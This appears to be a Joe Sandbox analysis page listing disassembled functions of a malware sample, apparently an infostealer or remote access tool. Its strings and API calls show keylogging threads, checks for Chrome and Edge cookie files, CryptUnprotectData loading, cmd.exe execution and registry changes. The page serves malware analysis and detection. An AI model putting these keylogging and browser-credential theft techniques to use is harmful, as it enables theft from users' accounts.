Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: PkGNG
API String ID: 2456169464-263838557
Opcode ID: f29f19b57bd44476b84c2158df793cbd226619e25f42890a5cb9caccfef44ccc
Instruction ID: a4f89274a665815b2d7bd0a52cbb4c71b9b2878c435ac706d73e761117ab6cd9
Opcode Fuzzy Hash: f29f19b57bd44476b84c2158df793cbd226619e25f42890a5cb9caccfef44ccc
Instruction Fuzzy Hash: 18317271A002199FDB14DF59DC809EAB7B8EB48305F0444BEE90AD7260DB34ED80CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040404C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93sleepCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00404066

Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,0040407C), ref: 0041B99F

Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5,?,?,004040F5,00465E74), ref: 0041857E
Part of subcall function 00418568: CloseHandle.KERNEL32(t^F,?,?,004040F5,00465E74), ref: 00418587

Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C49E

Sleep.KERNEL32(000000FA,00465E74), ref: 00404138

Strings

/sort "Visit Time" /stext ", xrefs: 004040B2
0NG, xrefs: 00404097

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CloseFileHandle$CreateCurrentModuleNameProcessSleep
String ID: /sort "Visit Time" /stext "$0NG
API String ID: 368326130-3219657780
Opcode ID: 5844705bffbe932e08c9a339546c7ba6e86f4bc1b82537618e6767435229dddb
Instruction ID: 62b88373b0174ac8ae4090b78ebfd0a8fca35ca34796720d8357018cc2c92f87
Opcode Fuzzy Hash: 5844705bffbe932e08c9a339546c7ba6e86f4bc1b82537618e6767435229dddb
Instruction Fuzzy Hash: E9316271A0011956CB15FBA6D8969EE7375AB90308F40007FF206B71E2EF385D89CA99

Uniqueness

Uniqueness Score: -1.00%

Function 004162E4 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 79COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004162F5

Part of subcall function 00413877: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
Part of subcall function 00413877: RegSetValueExA.ADVAPI32(004660A4,000000AF,00000000,00000004,00000001,00000004,?,?,?,0040C152,00466C48,00000001,000000AF,004660A4), ref: 004138A0
Part of subcall function 00413877: RegCloseKey.ADVAPI32(004660A4,?,?,?,0040C152,00466C48,00000001,000000AF,004660A4), ref: 004138AB

Part of subcall function 00409DE4: _wcslen.LIBCMT ref: 00409DFD

Strings

okmode, xrefs: 0041630F
PG, xrefs: 00416322
!D@, xrefs: 00417089

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: _wcslen$CloseCreateValue
String ID: !D@$okmode$PG
API String ID: 3411444782-3370592832
Opcode ID: f3a158218bdd67d4c4b1fae7efd00a7e5adabf20f91f0610842615a967fde749
Instruction ID: dff749dc984b923ba5de2327a6f3f9cc2e67bcaf748228c26ce3aec7d70e92d7
Opcode Fuzzy Hash: f3a158218bdd67d4c4b1fae7efd00a7e5adabf20f91f0610842615a967fde749
Instruction Fuzzy Hash: 10119371B442011ADB187B72D832ABD22969F94358F80443FF54AAF2E2DEBD4C51525D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 0040C4C3: PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Google\Chrome\,00000000), ref: 0040C4F6

PathFileExistsW.SHLWAPI(00000000), ref: 0040C61D
PathFileExistsW.SHLWAPI(00000000,-00000011,?,00000000,00000000), ref: 0040C688

Strings

User Data\Profile ?\Network\Cookies, xrefs: 0040C635
User Data\Default\Network\Cookies, xrefs: 0040C603

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
API String ID: 1174141254-1980882731
Opcode ID: 3f8b8350712af9d240db3e3edefbc0b5893a2e7bcab5cac2a7822d9b4b4e7b0e
Instruction ID: e6b9b9a8142aca5ff9e4641a3ff80a721fb4b0471daa7637ae592fad8ebd6223
Opcode Fuzzy Hash: 3f8b8350712af9d240db3e3edefbc0b5893a2e7bcab5cac2a7822d9b4b4e7b0e
Instruction Fuzzy Hash: B421037190011996CB14F7A2DC96CEEB738EE50319F40053FB502B31D2EF789A46C698

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6BB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 0040C526: PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Microsoft\Edge\,00000000), ref: 0040C559

PathFileExistsW.SHLWAPI(00000000), ref: 0040C6EC
PathFileExistsW.SHLWAPI(00000000,-00000011,?,00000000,00000000), ref: 0040C757

Strings

User Data\Profile ?\Network\Cookies, xrefs: 0040C704
User Data\Default\Network\Cookies, xrefs: 0040C6D2

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
API String ID: 1174141254-1980882731
Opcode ID: 8e96e49e63ca3bf0ac1f2790d6dd37b6dab53323dba9b7dc4ed1c0216d558f84
Instruction ID: 83f6a23093d6b0727a30a1d550f3d6f5bdb2bb72864fa742cd8a9fd6423befd9
Opcode Fuzzy Hash: 8e96e49e63ca3bf0ac1f2790d6dd37b6dab53323dba9b7dc4ed1c0216d558f84
Instruction Fuzzy Hash: AE21D37190011AD6CB05F7A2DC96CEEB778EE50719B50013FF502B31D2EF789A46C698

Uniqueness

Uniqueness Score: -1.00%

Function 0040A179 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,0040A27D,004750F0,00000000,00000000), ref: 0040A1FE
CreateThread.KERNEL32(00000000,00000000,0040A267,004750F0,00000000,00000000), ref: 0040A20E
CreateThread.KERNEL32(00000000,00000000,0040A289,004750F0,00000000,00000000), ref: 0040A21A

Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B172
Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3

Strings

Offline Keylogger Started, xrefs: 0040A19B, 0040A1A2, 0040A1CF

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CreateThread$LocalTimewsprintf
String ID: Offline Keylogger Started
API String ID: 465354869-4114347211
Opcode ID: 3bd749956e3e9a916655ad8ba54339a6dfc039012b8b1fa6949936b121210f93
Instruction ID: bcf1cfbdc14a627f6781ea3a40f7cea6448602225ce5b2be95dc640702f6c2bd
Opcode Fuzzy Hash: 3bd749956e3e9a916655ad8ba54339a6dfc039012b8b1fa6949936b121210f93
Instruction Fuzzy Hash: DE1194B12003187AD220B7369C86CBB765DDA8139CB00057FF946222D2EA795D54CAFB

Uniqueness

Uniqueness Score: -1.00%

Function 0040AEEE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B172
Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3

Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509

CreateThread.KERNEL32(00000000,00000000,0040A267,?,00000000,00000000), ref: 0040AF6E
CreateThread.KERNEL32(00000000,00000000,0040A289,?,00000000,00000000), ref: 0040AF7A
CreateThread.KERNEL32(00000000,00000000,0040A295,?,00000000,00000000), ref: 0040AF86

Strings

Online Keylogger Started, xrefs: 0040AF03, 0040AF0C, 0040AF36

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CreateThread$LocalTime$wsprintf
String ID: Online Keylogger Started
API String ID: 112202259-1258561607
Opcode ID: 5352f84320cf4356fc5397d5242ef4f16cbe8c43bf069df42c05d2cedde61efe
Instruction ID: a86b307176fed80e65d2d8085b20e14cf0e56bf63d45b36b749a5edd9f3e52e0
Opcode Fuzzy Hash: 5352f84320cf4356fc5397d5242ef4f16cbe8c43bf069df42c05d2cedde61efe
Instruction Fuzzy Hash: 1401C8A070031939E62076365C87D7F7A5DCA81398F40057FF645362C6D97D1C5586FB

Uniqueness

Uniqueness Score: -1.00%

Function 0041B4EF Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 59timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(00000000), ref: 0041B509

Strings

PkGNG, xrefs: 0041B4EF
%02i:%02i:%02i:%03i , xrefs: 0041B51E
| , xrefs: 0041B53C

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: LocalTime
String ID: | $%02i:%02i:%02i:%03i $PkGNG
API String ID: 481472006-3277280411
Opcode ID: 978051ae2d71d51f6a46a557316c11cd91a1cbdf249e5825d4a92e87c892c4af
Instruction ID: b0c371a91d376d28eb23a1cf2c2b6b2589463c7c7bf84255da33bc44f247512a
Opcode Fuzzy Hash: 978051ae2d71d51f6a46a557316c11cd91a1cbdf249e5825d4a92e87c892c4af
Instruction Fuzzy Hash: 361181714082055AC304EB62D8419BFB3E9AB44348F50093FF895A21E1EF3CDA49C65A

Uniqueness

Uniqueness Score: -1.00%

Function 00404F51 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58timethreadCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00404F81
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00404FCD
CreateThread.KERNEL32(00000000,00000000,00405150,?,00000000,00000000), ref: 00404FE0

Strings

KeepAlive | Enabled | Timeout: , xrefs: 00404F94

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Create$EventLocalThreadTime
String ID: KeepAlive | Enabled | Timeout:
API String ID: 2532271599-1507639952
Opcode ID: accc46308d134a6526fb08aee99d3eab32d11686313fa6232e89ca864bb3edf7
Instruction ID: 982fc92e7e47f2769c776e0d9ab1702947c5453eb715a4cfed9cf45540ca89dc
Opcode Fuzzy Hash: accc46308d134a6526fb08aee99d3eab32d11686313fa6232e89ca864bb3edf7
Instruction Fuzzy Hash: A8110671904385AAC720A7778C0DEAB7FA8DBD2710F04046FF54163291DAB89445CBBA

Uniqueness

Uniqueness Score: -1.00%

Function 00406A63 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(crypt32,CryptUnprotectData), ref: 00406A82
GetProcAddress.KERNEL32(00000000), ref: 00406A89

Strings

crypt32, xrefs: 00406A7D
CryptUnprotectData, xrefs: 00406A78

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: CryptUnprotectData$crypt32
API String ID: 2574300362-2380590389
Opcode ID: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
Instruction ID: d796ed41fc96dc9ef8d801536240fab0e9422483ab40f89d2a564a4d0f07de08
Opcode Fuzzy Hash: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
Instruction Fuzzy Hash: 6201B535B00216ABCB18DFAD9D449ABBBB8EB49300F14817EE95AE3341D674D9008BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0044C253 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,00000002,FF8BC369,00000000,FF8BC35D,00000000,10558B1C,10558B1C,PkGNG,0044C302,FF8BC369,00000000,00000002,00000000,PkGNG), ref: 0044C28C
GetLastError.KERNEL32 ref: 0044C296
__dosmaperr.LIBCMT ref: 0044C29D

Strings

PkGNG, xrefs: 0044C255

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ErrorFileLastPointer__dosmaperr
String ID: PkGNG
API String ID: 2336955059-263838557
Opcode ID: 60eaf30ffa5a6b77e16cdf42a69bcf8f7fa5cf007f91ab5b57ca5c6e56bd7837
Instruction ID: 03228b3a5a263cac3d3762c0c6cb9bea0ee6cefe7ee70a3785aa569069518732
Opcode Fuzzy Hash: 60eaf30ffa5a6b77e16cdf42a69bcf8f7fa5cf007f91ab5b57ca5c6e56bd7837
Instruction Fuzzy Hash: 9E016D32A11104BBDF008FE9CC4089E3719FB86320B28039AF810A7290EAB5DC118B64

Uniqueness

Uniqueness Score: -1.00%

Function 0040515C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00405159), ref: 00405173
CloseHandle.KERNEL32(?), ref: 004051CA
SetEvent.KERNEL32(?), ref: 004051D9

Strings

Connection Timeout, xrefs: 00405198

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CloseEventHandleObjectSingleWait
String ID: Connection Timeout
API String ID: 2055531096-499159329
Opcode ID: 6ba0741fc7cdd8782e8632b0dc009c189a51354901c2dba2396252722e458400
Instruction ID: e4880b57ed2806ada623013920947221b56867654f576af2420d72dde76e11cf
Opcode Fuzzy Hash: 6ba0741fc7cdd8782e8632b0dc009c189a51354901c2dba2396252722e458400
Instruction Fuzzy Hash: 1201D831A40F40AFE7257B368D9552BBBE0FF01302704097FE68396AE2D6789800CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040E7C5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 0040E833

Strings

ios_base::eofbit set, xrefs: 0040E822
ios_base::failbit set, xrefs: 0040E815
ios_base::badbit set, xrefs: 0040E7EF

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Exception@8Throw
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2005118841-1866435925
Opcode ID: 8dcc56bc0b3abd67e197b42ddab56c72444c781ea05e0f6efff8352e2a22a648
Instruction ID: aca7d9cae529c24a85643cb8f0975e7fdd15ab88b82278639a3f13e82648cb6f
Opcode Fuzzy Hash: 8dcc56bc0b3abd67e197b42ddab56c72444c781ea05e0f6efff8352e2a22a648
Instruction Fuzzy Hash: 2C01B1315443086AE618F693C843FAA73585B10708F108C2FAA15761C2F67D6961C66B

Uniqueness

Uniqueness Score: -1.00%

Function 0041CAE1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00001100,00000000,00000000,00000400,?,00000000,00000000,00474EF8,00474EF8,PkGNG,00404A40), ref: 0041CB09
LocalFree.KERNEL32(?,?), ref: 0041CB2F

Strings

PkGNG, xrefs: 0041CAE1
@J@, xrefs: 0041CAED

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: FormatFreeLocalMessage
String ID: @J@$PkGNG
API String ID: 1427518018-1416487119
Opcode ID: e6692f477abb5315ab95d0a6b8ad5d72714dea7d13d74ae1a0c0e8a867cee630
Instruction ID: 02a9d8e2c753fe243ccbc909122ce1ddd8f8b45a09ed5088e6b723b988b0f700
Opcode Fuzzy Hash: e6692f477abb5315ab95d0a6b8ad5d72714dea7d13d74ae1a0c0e8a867cee630
Instruction Fuzzy Hash: 5EF0A434B0021AAADF08A7A6DD4ADFF7769DB84305B10007FB606B21D1EEB86D05D659

Uniqueness

Uniqueness Score: -1.00%

Function 0040DFA6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040DFB1
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040DFF0

Part of subcall function 00435640: _Yarn.LIBCPMT ref: 0043565F
Part of subcall function 00435640: _Yarn.LIBCPMT ref: 00435683

__CxxThrowException@8.LIBVCRUNTIME ref: 0040E016

Strings

bad locale name, xrefs: 0040E000

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
String ID: bad locale name
API String ID: 3628047217-1405518554
Opcode ID: 03a3a1b6538e95a80bbc96a5a3230d3fb174e533ca0510e3d942a7448ac3be7a
Instruction ID: c9d4814c50014869750c7e26a4e1a69426a580a77e14145940ab7c7d7e24a8db
Opcode Fuzzy Hash: 03a3a1b6538e95a80bbc96a5a3230d3fb174e533ca0510e3d942a7448ac3be7a
Instruction Fuzzy Hash: EAF081314006049AC634FA62D863B9AB7B89F14718F504A7FB906228D1EF7CBA1CCA4C

Uniqueness

Uniqueness Score: -1.00%

Function 0041376F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38registryCOMMON

Download Yara Rule

APIs

RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,0046611C), ref: 0041377E
RegSetValueExA.ADVAPI32(0046611C,?,00000000,?,00000000,00000000,Control Panel\Desktop,?,?,0041CAB1,WallpaperStyle,0046611C,00000001,00474EE0,00000000), ref: 004137A6
RegCloseKey.ADVAPI32(0046611C,?,?,0041CAB1,WallpaperStyle,0046611C,00000001,00474EE0,00000000,?,0040875D,00000001), ref: 004137B1

Strings

Control Panel\Desktop, xrefs: 00413778, 00413788

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID: Control Panel\Desktop
API String ID: 1818849710-27424756
Opcode ID: a1b035586d8a94c78f1a8b9bfdab4f73b16582c77fe3bde9cdb94950c835db19
Instruction ID: c04290829ccef693e4e8b5b7d06cdf9a2950efbbd707a4c1379ff92f90edcb59
Opcode Fuzzy Hash: a1b035586d8a94c78f1a8b9bfdab4f73b16582c77fe3bde9cdb94950c835db19
Instruction Fuzzy Hash: B8F06272400118FBCB009FA1DD45DEA376CEF04B51F108566FD09A61A1D7359E14DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00416C2D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001D45D,00000000,00000000,00000000), ref: 00416C47
ShowWindow.USER32(00000009), ref: 00416C61
SetForegroundWindow.USER32 ref: 00416C6D

Part of subcall function 0041CD9B: AllocConsole.KERNEL32(00475338), ref: 0041CDA4
Part of subcall function 0041CD9B: GetConsoleWindow.KERNEL32 ref: 0041CDAA
Part of subcall function 0041CD9B: ShowWindow.USER32(00000000,00000000), ref: 0041CDBD
Part of subcall function 0041CD9B: SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CDE2

Strings

!D@, xrefs: 00417089

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Window$Console$Show$AllocCreateForegroundOutputThread
String ID: !D@
API String ID: 186401046-604454484
Opcode ID: cc4916408580e951ac93bfe67ce7d507046645e77a3ccf4d0f5d95b4476223b5
Instruction ID: c1d0571eb829819ca76672189d51ce116019f2d3a91c4b5ec781e9fa27a10d2f
Opcode Fuzzy Hash: cc4916408580e951ac93bfe67ce7d507046645e77a3ccf4d0f5d95b4476223b5
Instruction Fuzzy Hash: 9EF05E70158201EAD720AB62EC45AFA7B69EB54351F00483BF849D14F2DB398C85C69D

Uniqueness

Uniqueness Score: -1.00%

Function 004160EE Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 00416130

Strings

open, xrefs: 0041612A
cmd.exe, xrefs: 00416125
/C , xrefs: 0041610E

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: ExecuteShell
String ID: /C $cmd.exe$open
API String ID: 587946157-3896048727
Opcode ID: c4367f8ee6a7455f33dbff058f7f38a065b0826cdce92a2e59ef50dc08291be7
Instruction ID: 0a18f3537a1213b4b5dca9b82f73c842755a7e35c30cee8a650de64661b344da
Opcode Fuzzy Hash: c4367f8ee6a7455f33dbff058f7f38a065b0826cdce92a2e59ef50dc08291be7
Instruction Fuzzy Hash: 0DE0C0B0208345AAC705E775CC95CBF73ADAA94749B50483F7142A20E2EF7C9D49C659

Uniqueness

Uniqueness Score: -1.00%

Function 0040C00C Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 0040C021
Sleep.KERNEL32(00001388), ref: 0040C0A9

Strings

[Cleared browsers logins and cookies.], xrefs: 0040C0E4
Cleared browsers logins and cookies., xrefs: 0040C0F5

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
API String ID: 3472027048-1236744412
Opcode ID: 37d1bfc06d07939eb796f91d911b97d059918d73889df1aded7d392522dc90d3
Instruction ID: fac43f66edf0589ccdcbb227709f1a337e776f7542e83b73a027453bfa593f46
Opcode Fuzzy Hash: 37d1bfc06d07939eb796f91d911b97d059918d73889df1aded7d392522dc90d3
Instruction Fuzzy Hash: 2531C804348380E9D6116BF554567AB7B814E93744F08457FB9C42B3D3D97E4848C7AF

Uniqueness

Uniqueness Score: -1.00%

Function 0040A529 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 71sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041C551: GetForegroundWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041C561
Part of subcall function 0041C551: GetWindowTextLengthW.USER32(00000000), ref: 0041C56A
Part of subcall function 0041C551: GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0041C594

Sleep.KERNEL32(000001F4), ref: 0040A573
Sleep.KERNEL32(00000064), ref: 0040A5FD

Strings

[ , xrefs: 0040A58F
], xrefs: 0040A57B

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
